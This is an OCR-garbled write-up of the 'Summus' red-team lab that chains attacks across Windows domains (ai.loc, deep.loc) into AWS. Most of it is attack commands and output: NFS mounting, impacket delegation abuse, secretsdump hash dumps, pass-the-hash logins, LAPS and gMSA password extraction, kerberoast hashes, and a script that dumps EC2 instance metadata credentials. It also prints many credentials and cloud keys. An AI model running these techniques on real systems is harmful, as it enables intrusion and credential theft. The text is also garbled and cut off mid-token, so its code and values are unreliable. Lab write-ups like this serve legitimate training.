Extremeredteamlabs SUMMUS report

This is a report of the summus lab by extremeredteamlabs.

The lab comprises of the following sections

DEEP.LOC
AWS

AZURE

GCP
HIDDEN.LOC

UUCP

Port Scan

nmap -v 10.0.1.7

PORT STATE SERVICE
22/tcp

111/tcp rpcbind
1998/tcp x25-svc-port
2049/tcp nfs

9898/tcp monkeycom

| can see that NFS is enabled on jump , | used the command below to mount it.

-p /mnt/backup
showmount -e 10.0.1.7

-t nfs 10.0.1.7:/var/backup /mnt/backup

From the files in the backup folder i got some creds

#Utester grumblesmurf
fox TYbhijMNTYbhijMNTYbhijMNTYbhijMN

jump:extremeRTlabs:0b90bldf56afe6e06ed887cuUf5f3528F

The jump password is a md5 hash that can be decrypted using crackstation.net
0b90b1df56afe6e06ed887c4f5f3528f : THERESE

From jump | discovered the internal network 10.0.0.7/24, running an Nmap ping scan | get the following live ip addresses.


https://crackstation.net/

Nmap scan report for 10.0.0.10
Host is up (0.000042s latency).

Nmap scan report for 10.0.0.11
Host is up (0.00054s latency).

Nmap scan report for 10.0.0.170
Host is up (0.0014s latency).

From here we can proceed to AI.LLOC.

ALLOC

The internal network 10.0.0.0/24 contains a domain Al.LOC

Scanning the live ip addresses | discovered

nmap -v —p 88,445 10.0.0.0/24

Nmap scan report for 10.0.0.10
Host is up (0.00031s latency).
PORT STATE SERVICE

88/tcp closed kerberos
aus/tep microsoft-ds

Nmap scan report for 10.0.0.11
Host is up (0.00036s latency).
PORT STATE SERVICE

88/tcp closed kerberos
aus/tep microsoft-ds

Nmap scan report for 10.0.0.170
Host is up (0.00031s latency).
PORT STATE SERVICE

88/tcp kerberos

uus/tep microsoft-ds

| can see smb is enabled on the hosts, 10.0.0.170 is likely a domain controller since port 88 is open
the domain fqdn of the hosts are as follows:

10.0.0.10 L-W10-Al.ai.loc
10.0.0.11 M-10.ai.loc
10.0.0.170 dc01.ai.loc

| enumerated this domain using the machine creds from UUCP pc. Machine creds can be extracted from /etc/krb5.keytab
file of jump using this tool https://github.com/sosdave/KeyTabExtract

UUCP$ : fa1a60293357cda91fe99b306e406537

From here we can proceed to to L-\WW10-Al

L-W10-Al


https://github.com/sosdave/KeyTabExtract

| used this creds to get a bloodhound snapshot using rusthound

Users in ai.loc:

SMB dcl.ai.loc uys DC1 ai.loc\Administrator Built-in
account for administering the computer/domain

SMB dcl.ai.loc 4us DC1 ai.loc\Guest Built-in
account for guest access to the computer/domain

SMB dcl.ai.loc 4us DC1 ai.loc\krbtgt Key
Distribution Center Service Account

SMB dcl.ai.loc 4us DC1 ai.loc\ammo

SMB dcl.ai.loc 4us DC1 ai.loc\utonto

SMB dcl.ai.loc uys DC1 ai.loc\utentenormale

SMB dcl.ai.loc 4ys DC1 ai.loc\lappo

SMB dcl.ai.loc 4us DC1 ai.loc\delegatio

Analyzing the bloodhound data | saw that machine UUCP can change password of user utentenormale who in turn is
allowedtodelegate on L-W10-Al.

= UucP

L-W10-AlAL.LOC

UTENTENORMALE@AMN

Using impacket tools i was able to login to L-W10-Al as domain admin user delegatio.

proxychains net rpc password utentenormale --pw-nt-hash -U
ai.loc/'UUCP$'%fala60293357cda91fe99b306eU06537 -S dcl.ai.loc

newpass 'P@ssssssswOrd! '

proxychains impacket-getTGT ai.loc/utentenormale:'P@ssssssswOrd!’


https://github.com/NH-RED-TEAM/RustHound

proxychains impacket-getST -spn 'cisvc/L-W10-AI' -altservice 'HOST/L-W10-AI' -impersonate delegatio
-dc-ip 10.0.0.170 -k -no-pass ai.loc/utentenormale

proxychains impacket-smbexec -k -no-pass ai.loc/delegatio@L-W10-AI

Using impacket-secrets dump i dumped the local user hashes of L-W10-Al

proxychains impacket-secretsdump -k -no-pass ai.loc/delegatio@L-W10-AI

[*] Service RemoteRegistry is in stopped state

[*] Starting RemoteRegistry
[*] Target system bootKey: 0xflc0d5u45708laafaa9aea8ul6c76l6aa
[*] Dumping SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3bu435b5140Ueeaad3bu35b51U0Uee: 546e99aadcb53690U47cc55a31462d22d: : :
Guest:501:aad3bu35b5140Ueeaad3bu35b51U0Uee:31d6cfe0d16ae931b73c59d7e0c089cO: : :
DefaultAccount:503:aad3bd35b5140Udeeaad3bu35b5140Uee:31d6cfe0d16ae931b73c59d7e0c089cO: : :
WDAGUtilityAccount:504:aad3bu35b5140Ueeaad3bud35b51U40Uee:98b820881dbe2550162dc2cfOc5¢c760d: : :
fox:1001:aad3bu35b51U40Ueecaad3bu35b51U40Uee:78ab7d952b67f1353U6bF8bOc69FU15b: : :

[*] Dumping cached domain logon information (domain/username:hash)
AI.LOC/Administrator:$DCC2$10240

AI.LOC/lappo:$DCC2$10240
AI.LOC/utentenormale:$DCC2$10240

AI.LOC/utentenormale:$DCC2$10240
AI.LOC/utentenormale:$DCC2$10240
AI.LOC/utentenormale:$DCC2$10240
AI.LOC/utentenormale:$DCC2$10240
AI.LOC/utentenormale:$DCC2$10240
AI.LOC/utentenormale:$DCC2$10240
AI.LOC/utentenormale:$DCC2$10240

[*] Dumping LSA Secrets

[*] $MACHINE.ACC
AIdom\L-W10-
AI$:plain_password_hex:uU5fd6d9f30fdcd298c29c36d275b3bbb9aded81b3f535ab7e6d98943b9d95duU2668fcd2e19+279
130e£31c95ff1999b51896e9985d019212a395fcU1bc6702af922712f9e55db3de71a08fefdf56cUllbcdU5502f007e802alb
e56895e4509efuU535ebc5e0u467ddbUdd0ed25+14e9c7+91959a27e5af0acc93el26acaaecabdcd925edcd3bbd5c16bdbu6e3d2
f£369c281250651856997b16502bdUe31831fb8e6662193a8bc752c7e0ee29e888buU1d7dUeboU33e218276+27b8¥8351ebab8
52fcc254a003ca33a9ad37+c0605406918008a0b97f92072a90de53fblfbfead2d199e93dfuU3eda32c82a9bub57efa7clca
AIdom\L-W10-AI$:aad3bu35b51U40Uecaad3bu35b51U0Uee:de9535e37b1lcd9299e3902d1lelbea7e57: : :

[*] DPAPI_SYSTEM

dpapi_machinekey:0xe782dde069e2b57d0a9d6bc6f26dOU553076119F
dpapi_userkey:0xla6a70led49ea2a2383beal2e7723+52fd73b3419

[*] NL$KM

0000 F5 34 63 94 1A 90 1B 61 3D F9 4B 60 5A F6 69 38 .Uc....a=.K'Z.1i8

0010 6D 60 C4 BA 9E 7E 8C Al 42 3F 77 B8 13 40O 8B 12 m'...~..B?w..Q@..

0020 F1 62 4D 9E 09 23 81 BA 6E FE 40 89 3A Bl 30 31 .bM. .



0030 73 53 UE EF E6 EE 69 56 9D CE 72 2D 62 29 CE 95 sSN...iV..r-b)..

NL$KM: £534639412a901b613dF9Ub605aF669386d60cUbadeTe8call23f77b813U08b12162Ud9e092381babefel0893ab1303
17353Ueefe6ee69569dce722d6229ce95

[*] Cleaning up...

[*] Stopping RemoteRegistry

| can then login to L-W10 via winrm for further enumeration.

proxychains evil-winrm -i 10.0.0.10 -H 792af703cf6U453d06b906U4e033f51107 —u '.\Administrator'
Checking the shell:startup folder i found something interesting. A startup script was running...

net use \\dcl\netvol /user:lappo@ai Cipofighia%22

This leaks creds for domain user lappo , pass : Cipofighia%22#

| used these to get to M-W10

M-W10

Upon further enumeration user lappo is allowed to read laps password from the domain controller , this can be achieved
using the command below

proxychains nxc ldap 10.0.0.170 -d ai.loc -u lappo —p 'Cipofighia%22#' --module laps

LAPS 10.0.0.170 389 DC1 Computer:L-W10-AI$ User:
Password:&FuGmx$61 . 5u2l
LAPS 10.0.0.170 389 DC1 Computer:M-W10$ User:

Password:11%028cH

| get the laps password for both L-W10-Al and M-W10 , using the laps password i can login as user Administrator on M-
W10.

proxychains evil-winrm -i 10.0.0.11 -u '.\Administrator’ -p '11%028cH#70+xy"

In M-W10 | discovered another internal network 10.0.2.99/24.

It has the following live hosts for domain DEEP.LOC

10.0.2.73 dc.hidden.loc
10.0.2.160 cloud.deep.loc
10.0.2.171 dc2.deep.loc
10.0.2.170 dcl.ai.loc

Upon further enumeration | get running processes in M-W10 , there is a not-standard windows process running called
clouduser. | retrieved its binary and decompiled it using Ghidra

There are hardcoded creds for in the binary:

*$computerName = "cloud.deep.loc"


https://github.com/NationalSecurityAgency/ghidra

password = "Fizmamatu%"*

—-Name clouduser
ame : clouduser
Id . 6764
PriorityClass : Normal
FileVersion :
HandleCount : 107
WorkingSet : 57344
PagedMemorySize ¢ 2535424
PrivateMemorySize : 2535424
VirtualMemorySize : 90136576
TotalProcessorTime : 00:00:00

HE

Handles : 107
VM : 14385103872
WS : 57344
PM : 2535424
NPM : 6584
Path : c:\users\fox\desktop\clouduser.exe
Company
CPU : 0
ProductVersion
Description
Product
__NounName : Process
BasePriority : 8
ExitCode
HasExited : False
ExitTime :
Handle : 3756
SafeHandle : Microsoft.Win32.SafeHandles.SafeProcessHandle
MachineName .
MainWindowHandle : 0
MainWindowTitle
MainModule : System.Diagnostics.ProcessModule (clouduser.exe)
MaxWorkingSet : 1413120
MinWorkingSet : 204800
Modules : {System.Diagnostics.ProcessModule (clouduser.exe),

System.Diagnostics.ProcessModule (ntdll.dll), System.Diagnostics.ProcessModule (KERNEL32.DLL),
System.Diagnostics.ProcessModule (KERNELBASE.dll)...}

NonpagedSystemMemorySize : 6584
NonpagedSystemMemorySize6d : 6584
PagedMemorySize64 : 2535424
PagedSystemMemorySize ;107240
PagedSystemMemorySize64 : 107240
PeakPagedMemorySize : 2654208
PeakPagedMemorySize6d : 2654208
PeakWorkingSet : 5849088
PeakWorkingSet6u : 5849088
PeakVirtualMemorySize : 93282304
PeakVirtualMemorySize64 : 14388249600
PriorityBoostEnabled : True
PrivateMemorySize6u : 2535424
PrivilegedProcessorTime : 00:00:00



ProcessName : clouduser
ProcessorAffinity 12047

Responding : True

SessionId : 1

StartInfo : System.Diagnostics.ProcessStartInfo
StartTime : 5/14/2025 9:07:05 AM
SynchronizingObject

Threads : {6820}
UserProcessorTime : 00:00:00
VirtualMemorySize64 : 14385103872
EnableRaisingEvents : False

StandardInput

StandardOutput

StandardError :

WorkingSeté6u : 57344

Site

Container

From here we can proceed to DEEP.LOC.

DEEP.LOC

This domain exists in internal network 10.0.2.0/24
The following are the hosts on this network:

10.0.2.73 dc.hidden.loc
10.0.2.100 cloud.deep.loc
10.0.2.171 dc2.deep.loc
10.0.2.170 dc1.ai.loc

| got creds for cloud.deep.loc from the M-W10.

Using the creds i can get a list of users in deep.loc

tarallo

missy
barbarella
admincloud
sgombro
clouduser
krbtgt

Guest
Administrator

| tried kerberoasting using impacket-GetUserSPN but could not crack the hashes.

Impacket v0.13.0.dev@ - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName Name MemberOf PasswordlLastSet

Delegation

LastLogon




moana/pozzi clouduser 2025-05-03 07:02:33.507612 2025-05-21 06:51:53.026296
constrained

browser/cloud admincloud 2025-03-29 21:35:31.022242 2025-05-20 22:34:06.264497
ilona/staller admincloud 2025-03-29 21:35:31.022242 2025-05-20 22:34:06.264497
dont/try barbarella 2025-02-22 14:20:27.68U4637 2025-04-12 08:21:26.469819
unconstrained

[-1 CCache is not found. Skipping...

$krb5tgs$23$*clouduser$DEEP.LOCSdeep. Loc/clouduser*$5cd79alb19252ab9a7573b9uuda9202$1928uUfa2c786ee36
Oeecbc7c58f713a96f2fUcbcc997d7allcadfeb53d1ldeeb6cbd36de8bf79Ued85749U4U497bcd59e77b63d9ccb3228¥88b0Ad12cl
ded@dd19fcab2ff0de8b083d92328U613d66fUa9ce8df6b20abdd93160e2c6261cldf15216127ae6a0e6501526Ffe39eb000d2
91£91d99¢397652fUb325b7f0c59U32b5c7b91429a3e01c27f6d70ab0df69ee7b020c7c36U871ee70dUf52e50d1d825eea732Ff
60d6b7cdb61U4eb536F7fUc75f301a2f6eb18fdf7cc5e3178a02800edd2b9bUb926be50el5dae7a5b9f66f33bUe7d229a597a2
edalaede2241b92d9efc38u85cbb6afdf685978d63d0dea6189a7¢c875f583d3359922clcc66b3d9afdbf6ebfbOcbdc5387fU06
7d975efe69afecc58cUc86e671le6eca950a38b7fadObladu360b68f19fbd072182b+f00397807a25c7+f1bd39d2uUuU2b30e2fb2a
bdbabcOdeea2fuU7760da5f0d91uUcblfelb195ce5b656fa8e10759fal5c63720604a929872uUadUl6+5a1a58b14520204159d7693
5231c3892856680edbb17f66cb09Ucb8Ubalaf7dU8af1539f19012b17fa5uUUe9bcf75c505773c0c9ddae6f0893676U95ceab9
0bd8131f714aLLl3788c672b81ab0f01ldcdeb8763e29cb85fcc3cd2c20efec887+83d10e777525bc79f70U6990fb05e0eab070
a7f2256Uud6aedd3a9d2fal6d39e5c67b62bc396a38851faaell2cc7F5ee677bdfeff668U29dc275Uee725¢ce8186ba5034ald3
5d1906d9e05e171257ada7bele820594d1167d511cb1f66556defc2215a87f1688u03ca52aal65db88bb012e2U0dlataalle26
9bf398al2a3e3856ea7d9b52712bbd8+72011du8d1Ubf192fc2d3def158+6285d2b63fdU5317cal2c550eeab502clae66ddd5
02601eaa06c1888ef568610uU351498d5409c75c4167b903b01228320f8c57afU2b3¢c18U497865658c0bdc60d7e58ffe2c79225
18c850798duUb07aaa723d7732a2bf95e895ab797u42U55U40Ud9bd0OUbedf1c295ffbabellll7632ea557ef817e1110f0UedU8c58
2e658118c9d9682ef6fccaf068aclcIbcc268e0a93966U421cae8757fe7b2ecdbca518b69c122292e83ec76dal90a83f8U5c56
fl26caffle7elle22226U401931662f9e72e29295109b2a20dce980927888U217ab8abefcUd36alle5a9cdd82c6UULl255e70e8d
5fdf936775111005d1e8ffleac93952alec25883a10b51409bbee297c86af3e2d9c0fc7823cc0387aabdfU7085adU8749d080
8ebc9acc5351UUcae62117e07b18U9b397d9feabeb6ldaaa937deeldb8e593a0e0fbdd0dO8Ubdf8albebaafldl7fa735Uuddf5
3eaf5b7a0lb2cldalec32c180e8cechb728e57fcdf27e97d0a72975529d07uf9U263fabU2U89729ce8U6bc220fab7a328ufd3c
b9d6ffdoOf6bU3ecdac6U575efc7+34U88a83b8fUU65d8785c002ffefl1f8ee3985195bU2+382162addbc3873c8bc935f1U664
c8b27d67dcedu8b9
$krb5tgs$23$*admincloud$DEEP.LOC$deep.loc/admincloud*$43d1882U496a1d86b871208Ucebb2u114$U7c8a3583d2117
58Uae5cUlfclc2fe5979e37221e185U49a93aa9cdblefc5ec7480f3da5fbUd3928blbfefe52181dacac2fabd925beaf36de2586
a09U4690795c88elfee01fb9579ade92950bab6c7a90b073d5850bObf6ebec31cc79d67078a90d1d27b82d99af38e63a0cb6ddest
2bae91f69duub3173816faa8acbf3fuc7236d7¢c12eb27298dcccb81233cdObe35a00a90c948U409U971f7b52¢c9777U27afcc93
TecOaf3u478U5dbbU30f7U0ec3cl0638b23fU3U2cbbdff82a9bf756a1d5Ff90Uf08b69da289d3ad58cclb27Ufb535¢c291056F76
95Ubba3ellele50ae9f7U7bf17bf83uUd7e3UU8aa0b568cbef99ee93d9101f030fe2ee3Udcl023174965995fa7690el7aaec8a9
2u6Uf30Uefaal82dceeaeldfcl383aeld56577a76cee70+2970cd83a279708dda9e810aa303d53b70b5675¢c61180d359d05219
be30491023f9e71ab8dbbcdb6f51a5fd1a8f95a3bf507cc2U6fedf63fc3+35063897U1c6872UdUd657acbabfe5613028F38b0
9682329c7Ubaab7uc3c3825U1U17086558dcddbc5Ubbe306cU972e87c5ec9bb68e07d97de6d1786U59af69a06bbba7a532ab2
69d0fUacdf668bUabb8a59925ca5a9ufbc90b1b69880260a1866811539U43edf91989U9225¢cfOuUc7U695863dclbatc8Uec517
990dccd12a1a70080df0566dce5372172551e5bcc58572¢c865d151d060dd3aba33f233793cb6uUU63be255ba3bU2bdd2563870
9ae236efd878U83b1244509¢7914910c5calcadfb3561ddee683b6fdda36u836culaflu77¢c78d55dbcba22fe8a2deandcf5an7
cld301fff8eebb8a3eeb62c658bUdd901dd73205e67bcalcb70a7dcel77c29f6cb8U1a8+272duU583e86e3fb9820c3e18uUc9733
3du3debbdeb199580a7388ub7u7a64d340605b132715c0853889b71d3da0U9977f1fcl77e6a7bb28a821beee56UUbe7b719al
c82dcele58bel803f57210dac783c50cc3f98U379d2768e5093fa3e062d60edc63d212fea5c244131Ubfd67au+283657b0010
2c5f895b131f6dcd7bU55769a93ba7u1e5U4335¢c6681851b078e310768efbcl0c9b10290d9d0300a0lac9df9b8fb8ebeld0f7fb
41d8ffdc6a7c7cdbe910d1d100ae86f205e859faudu33Uece9d0cfadd36fbf7bdd7ccOblecc86bbdd20607d5102bUf077U65F1
80u45900016ab2c2f2ccabu81357afaud123fc32fe70U4+8c9c9040d0511061c25b3d10a8c2blebldb39e99c526b5acaffa7lbed
b92ablfa5ea75bf371a8297f1alcdU617U9bf6ef13U4aa8dd91c907f6f8f7ac7bfd509c1d5733dd911c978dde7+25U153c9abl
bccUbbeff2afa9820U48dbdb76fbccld810385021d683e9f656cb74a919b3U2c28fe2aac68fUlf8fU52ee32577c52aef7ecchfa
222859911512003db7b30b+3e9f29127d037835200U4d25fdad9e0d88ceecd3af9ablduud38f68U0ccO6bcf734U31813060ce6
20eel5lee73114094a

$krb5tgs$23$*barbarella$DEEP.LOCS$deep. loc/barbarella*$79e6b6156F9e6cee207bU8c61Uddf16a$b679920ed909ce
Le2fucb192958141396a12137900f741150b11382b012feeal9dedOe5leadelb6e504a77bd0U21b382899d8c2c03385bUad3 0
85Uc881e8feb6ff8dfUacbb83111b0df103955cU48d1e9085ba032U31f86abU009f2U89b0%acUU5bU37e91f3Uaf9f61e2608e8
b66c003e41088Ub7U489fc68383d318acla7bcaefb2f10ce9cl12a056695c22baf2u51U61178dfb093686ece7el591afc792b0c



fle61clab686UdUa62101e076013e72f8ed90e2ec20a25b7eb020d6582Ua7ba5aff9309cfc9d5bd5fcu55d78af03dacee827e8
340c2587765U42c866bcfc2el8balbatcol8a22bu066b2792c078a6f59d0c3cabuU8uU3a6bcc720d689F9bb26e117df5532auUuU3b
37Uab877c+77886e235U4016d3Ub59d5a936153170U4805b1fdU98517UUaffa35c5b89U£782ba9de02907607Udf9c6+79c32d7¢c
2bf8a757faeeadd32calffd2172595ducc8da982adl2elfff1al6a9d76670U3b67ceab0ct5a893907b33fbe268bdb97efb591
al1c708ccOc098aaa7e5e302a0630b1b38dfa333e3b75daa26a9f8bc28e323U8cacfcbce78U7Uf568061e55e96U4a3Uc2d86dF
34a75f1959U4c35cd6080e0bou9dULab7Uellec261995F6d5007b8aba68d96ec63dd903791fb2f9d9a55a58b55dfae99ee5cf9
e85503uU8d2add95bfcfb3f626U49db7b56673b38c79alleld@8ccb61U070fba7d569cc3a2eldcd3d2c682f78039Uefbce7U6T7F67
ale2a2e0919efuU375133b673ef61abcd50b8ad504U8fea3f8ee51b8a87c0de®U2958bc78Ubd221e89ef30Ufba20ce3623U3e7
17ccbdaccaf52cdaf0667cb76d21ffUd7fafbla9ab553fU109blUfac3eac6a7u46c9c7c351c9d8db3b9db2uUf2edclfOeb86e9c
d25a5fb168f1c3120a5falcb6c9edb6ef1305f9U66ad5fcf219e504aud9b080b73ff7beealcddi65d3d399163eu49Udbfc9998c9
47629000Uff2bObe@07c9ac9aeebfdU908168f3cfelOb5d969c1Uu9e33eUfd6U15d5a73dfUala361ad23615c07e96073360FU0
1668eblbc2623ddabf9bfbce91lbed388cOUebUlfecffbl2512c051aa353f86ffa77e492dUbfObbclfb9085afb8711d75269be
e6619f21a90Ualea90a67+89315e7896a520bca5732b3e57dbb7d370dbacb9c130cdaa5bf23059Ue5aec87011dU6al5Uu66a92
7237df9du5421b6984U23U+d9183d0b514983874115U4502bcld3af34629a7122683¢c+149173acell982b8037b266909d0c+887bb
6b361330d66+5527d+82ad77f96ceb51567Ud9buU7675957a9Ubd287209ac31e78c12d1a03a381delfU1687e5ccU82ff9b67d
30c5b773f3af7143382dc19393eab7b9c056ea6ab191e79d57dU3d0a0352682d9c15abbU36cafd936512UfU1a2f8U79cU781ad
cf06edfeb9c7756e0d35ef7b66bbOb78c7U9b11c5562U489d563Ud63e79dc3dU0c2c801adUd73146d109bcblcOfcl09e9cb57bb
d9c763bladuf73ub5a

The intended path was by exploiting GMSA

There is a manages service account serviziolo$.

= SERVIZIOLO$S@DEEPLOC

distingui CN=SERVIZIOLO,CN=MANAGED SERVICE
shednam ACCOUNTS,DC=DEEP,DC=LOC
=

domain DEEPLOC

domainsi S$-1-5-21-934653373-633404683-1800852919
d

passwor False
dnotreqd

samacco serviziolo$
untname

trustedto False
auth

unconstr False SERVIZIOLOS@DEEP.LOC
aineddel

egation

whencre Fri, 07 Mar 2025 06:42:25 GMT
ated

GROUP MEMBERSHIP

First Degree Group Memberships

Unrolled Group Membership

Foreign Group Membership

The following tools can be used to list and get serviziolo$ NTLM hash.

python3 windapsearch.py —--dc-ip 10.0.2.171 -u 'clouduser@deep.loc' -p 'Fizmamatu%' -custom
'(objectClass=msDS-GrouplManagedServiceAccount)' —-attrs SamAccountName, ServicePrincipalName

https://github.com/ropnop/windapsearch
[+] Using Domain Controller at: 10.0.2.171

[+] Getting defaultNamingContext from Root DSE
[+] Found: DC=deep,DC=loc


https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/group-managed-service-accounts/group-managed-service-accounts/group-managed-service-accounts-overview

[+] Attempting

[+] ...success! Binded as:

[+] u:DEEP\clouduser

[+] Performing custom lookup with filter: "(objectClass=msDS-GroupManagedServiceAccount)"

[+] Found 1 results:

CN=serviziolo,CN=Managed Service Accounts,DC=deep,DC=Lloc
sAMAccountName: serviziolo$
servicePrincipalName: ilaria/bontempi

[*] Bye!

python3 gMSADumper.py -d deep.loc -u clouduser —p 'Fizmamatu%'
https://github.com/micahvandeusen/gMSADumper

Users or can password for serviziolo$:

> clouduser

serviziolo$: : :42dc07c8b8ec85195383cddc376a966
serviziolo$:aes256-cts—hmac-shal-96:60ab6b8d37cb52577f5uU5f53492126e3d92b6762dUbc2c8db6bu1d3bu3+8F6bf
serviziolo$:aes128-cts—hmac-shal-96:326d7c8db39acc351a02e34d6a876560

User serviziolo$ is a local admin on cloud.deep.loc , so | can dump local SAM hashes.

[*] Target system bootKey: 0x657d38febf7u5e8cfaddcdc8ffe6df79

[*] Dumping SAM hashes (uid:rid:1lmhash:nthash)
Administrator:500:aad3bu435b5140Ueeaad3bu35b51U40Uee:31d6cfe0d16ae931b73c59d7e0c089cO: : :
Guest:501:aad3bu35b5140Ueeaad3bd35b5140Uee:31d6cfe0d16ae931b73c59d7e0c089cO: : :
DefaultAccount:503:aad3bu35b5140Udeeaad3bu35b51U40Uee:31d6cfe0d16ae931b73c59d7e0c089cO: : :
WDAGUtilityAccount:504:aad3bu35b5140Ueecaad3bud35b5140Uee:20531e6cUdac060d3ab6a99bd553bbee: : :
fox:1001:aad3bu35b51U40Ueecaad3bu35b51U0Uee:d22a5F7247U331ead63e384ac8ae5U78: : :
Userl:1002:aad3bu35b51U40Ueeaad3bu35b51U0Uee:4bOc86cc711521f7U76af31986a7e65d: : :
locadmin:1003:aad3bu35b5140Ueecaad3bu35b51U0Uee:el9ccf75ee5Ue06b06a5907af13cefU2: : :
fox1:1006:aad3bu35b51U40Ueecaad3buy35b51U0Uee:611f5bFf591ed3d201bllle@d6ec33990: : :

[*] Cleaning up...

Logging in as local Administrator in cloud.deep.loc | can see that there are SSH keys in user admincloud home folder.
This creds can be used to access a Linux pc called cloud-bridge.
Using the SSH private key | logged in to cloud-bridge where i discovered AWS credentials that will be used for the next

chapter AWS

For the technical staff:
The EC2 machine (10.8.0.2) shuts down automatically every 5 minutes. If you need to use it, just turn

it back on — don't worry, it'll shut down on its own!

Obviously: you must POWERON the AWS server from your PC and next ONLY from HERE you can ssh to AWS

server

*fox



For techical staff

id_rsa and id_rsa.pub keys to access to AWS server are stored on machine metadata. You can get from
there with AWS credentials and you know the password to decode them.

If you need to use, get them and delete after use. For security purposes each minute keys will be
deleted, PLEASE DON'T LEFT around on this machine!

REMEMBER: you can access to AWS server only from THIS machine for security purposes, there are a lot
of firewall rules to avoid external access.

*fox
[default]

aws_access_key_id = AKIAWRRS6VUEACQSXYGH
aws_secret_access_key = gfUyX5IQjwU/g8GM/1ifpKESVNIHE800KU/HuvV49

Also in computer cloud.ai.loc there is another network 10.0.4.0/24 which contains domain hidden.loc that | will revisit in
this section later HIDDEN.LOC

AWS

With the credentials obtained from DEEP.LOC , | can begin enumerating the AWS cloud.

From this note we can see that we can get more data in AWS ec2 instance metadata.

For techical staff

id_rsa and id_rsa.pub keys to access to AWS server are stored on machine metadata. You can get from
there with AWS credentials and you know the password to decode them.

If you need to use, get them and delete after use. For security purposes each minute keys will be
deleted, PLEASE DON'T LEFT around on this machine!

REMEMBER: you can access to AWS server only from THIS machine for security purposes, there are a lot
of firewall rules to avoid external access.

*fox

This can be done by using the following AWS cli command.

aws ec2 describe-instance-attribute —-instance-id i-005645239d216fb5e ——-attribute userData ——query
'UserData.Value' -—output text

The user data is base64 encoded , so after decoding | got a zip file that was password protected , the password can be
cracked easily pass: !!LiverpooL!!

There are SSH keys that | used to login to the ec2 instance.

The instance can be started using.



aws

ec2 start-instances \

——instance-ids i-005645239d216fb5e

There is also a tool enumerate-iamthat i used to find my current permissions on AWS. My current user has the following
permissions.

_05_

24 12:22:10,855 - 157637 - [INFO] Starting permission enumeration for access-key-id

"AKIAWRRS6VU4EACQSXYGHL"

2025-05-24 12:22:12,516 - 157637 - [INFO] —- Account ARN : arn:aws:iam::4500046927U4:user/poweron
2025-05-24 12:22:12,517 - 157637 - [INFO] -- Account Id 450004692744

2025-05-24 12:22:12,517 - 157637 - [INFO] —-- Account Path: user/poweron

2025-05-24 12:22:12,828 - 157637 — [INFO] Attempting common-service describe / list brute force.
2025-05-24 12:22:18,6U47 - 157637 - [ERROR] Remove globalaccelerator.describe_accelerator_attributes
action

2025-05-24 12:22:25,283 - 157637 - [INFO]
2025-05-24 12:22:25,581 - 157637 - [INFO]
2025-05-24 12:22:3u,767 - 157637 - [INFO]
2025-05-24 12:22:37,334 - 157637 - [INFO]
2025-05-24 12:22:43,002 - 157637 - [INFO]

sts.get_session_token() worked!
sts.get_caller_identity() worked!
dynamodb.describe_endpoints() worked!
ec2.describe_instances() worked!
ec2.describe_instance_status() worked!

Inside the ec2 instance there is usually another set of credentials stored in the metadata endpoint , i extracted them and
used them for further enumeration. | used this custom python script

import requests

BASE_URL = "http://169.254.169.254/1latest"

def

def

QO:
"""Fetches a new IMDSv2 token."""
token_url = "http://169.254.169.254/latest/api/token"
headers = {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
try:
response = requests.put(token_url, headers=headers, timeout=5)
response.raise_for_status()
return response.text
except requests.exceptions.RequestException as e:
print(f"Error fetching IMDSv2 token: {e}")

return None

(new_url, token):
"""Fetches EC2 metadata using the provided token."""
if not token:
print("IMDSv2 token is missing. Cannot fetch endpoints.")
return

headers = {
"X-aws—-ec2-metadata-token": token

try:
res = requests.get(new_url, headers=headers, timeout=5)
res.raise_for_status()


https://github.com/andresriancho/enumerate-iam

endpoints = res.text.splitlines()

print(endpoints)

if "{" == endpoints[0]:
print(res.text)
return

for endpoint in endpoints:

if not endpoint or endpoint.startswith('#'):
continue

if endpoint.endswith("/"):
endpoint = endpoint[0:-1]
fetch_endpoints(f"{new_url}/{endpoint}", token)

except requests.exceptions.RequestException as e:
print(f"Error fetching endpoint {new_url}: {e}")

if __name__ == "__main__":
token = get_imds_token()

if token:
fetch_endpoints(BASE_URL, token)
else:
print("Failed to retrieve IMDSv2 token. Exiting.")

It dumps all the metadata, here i got a set of access-tokens that i can use to login as and assumed-user with the following
permissions.

python3 ./enumerate-iam.py -—access—key ASIAWRRS6VUEKD5CS6DK --secret-key
i8HNeIscYAivZB8YhdzHdjbB+mJUwW+deRAADt9G --session—token
IQoJb3JpZ21uX2VjEGEaCXVzLWVhc3QtMSIIMEYCIQDBofvG+KkT9CIQUUVZzGeGrlfe7nyyKvIr3ERBXJ1dIplQIhAKP1SQAtgjA85
bcNeLOUP1U4g+IsKRQL8SKU9d7wnxTt1KrOFCCoQARoMNDUWMDAON jKkyNzQ0Igz7k9syGsqH10yGReEqmgUvdfV5glytA+mitSWOIJ
RRpeCm6BYD+3+rVwravRpHedlncrET7MAmMUP523zsDn8CW2ePppl80elJqoW3Fq2p05+HnF7rKGTCF6xDCyo/Dgyd9xjOx/qxNlcH
3uVPuTYBvGYUO181lic7caAfSvOljWdNeUdyBxmMd5iunVwop/SPf1Gjq92EckilXVdYOMf2JIgLTH2rB+1euR+EPOLUTNQHiIXx+GQr
03CjxXtAOcUb303+0ANBWhXuQX9bpKNO8O5CN90ZzRKK3JcUS5SbfY1YcX795Tpg+LUJ/3votOk+9NNnZ/ncvPvTsEcj5vIrojo0QiA
3Q0bM5KIWG35UulP/8Z1gCUR1pcZsFLZUPOLqqlIE11mY5cKg8hQ0jxxYVg9IDHINnyreXPLSULj7zKXazpcFgGjhjbVraDuDSelhX
ejFkzxrDXETtpRIHWDSwT7KipkzwSRUV2yRcDNZdoVRNT9/MwdqPCb92KFrGBID7qnhmMWua028Tr2mKNGsLq1HIrWGs1L77jMF8u
Y1yyVzbTnlLzSYUFfMFXtIaatLJz771KbbjiI0zquhBxBWIrArpvGUhXoslxhb5ZvF+0Z/1lgHtIrroXrlj6annybdezlxECFncjwT
/gPUsTPYYeaNGpmLHD1OXI+GglHfpZxBvHOM3Fu/30bX1BUomYOEFACOXdtRNBWSs2xzIpOMz/d194Rh31Xd5TDLIV7FPRnDzfy5ph
Pr5D+rNPalnRRK2udXGR+JAsJI1fPdafWZdh7IsnCc7eEIZorAVisxKT1W8 jN5IpPb7yCZSgF3AyDfx/9v/F2SEUKUAfLUhMcE+USBL
